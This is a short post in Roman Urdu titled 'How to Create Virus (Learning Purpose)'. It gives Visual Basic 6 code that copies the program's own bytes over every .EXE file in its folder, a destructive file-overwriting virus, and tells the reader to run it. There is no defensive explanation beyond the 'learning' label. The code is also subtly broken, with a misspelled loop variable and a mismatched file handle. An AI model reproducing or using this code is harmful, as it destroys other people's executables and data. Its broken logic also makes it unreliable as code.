How to Create Virus (Learning Purpose)

Visual Basic Main Virus Banane ke Lie Chota sa code Sirf Un ke lye Jo visual basic ko thora bohat jante hain....

Sab se Pehle ye Code Jeneral Main likhain...

" Dim binarycode() As Byte
Dim victim As String
Const mysize As Integer = 11776 "

Phir Form ke load event main ye code likhain:

Private Sub Form_Load()
On Error Resume Next
Dim Free
Free = FreeFile

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
ReDim binarycode(mysize)
Get #1, 1, binarycode
Close #Free

victim = Dir(App.Path & "\" & "*.EXE")
While victim <> ""

Open App.Path & "\" & victim For Binary Access Write As #Free
Put #1, , binarycode
Put #1, , mysize
Close #Free

victum = Dir()

wend

End
End Sub


Sirf Programm ko Run karwain.

Share |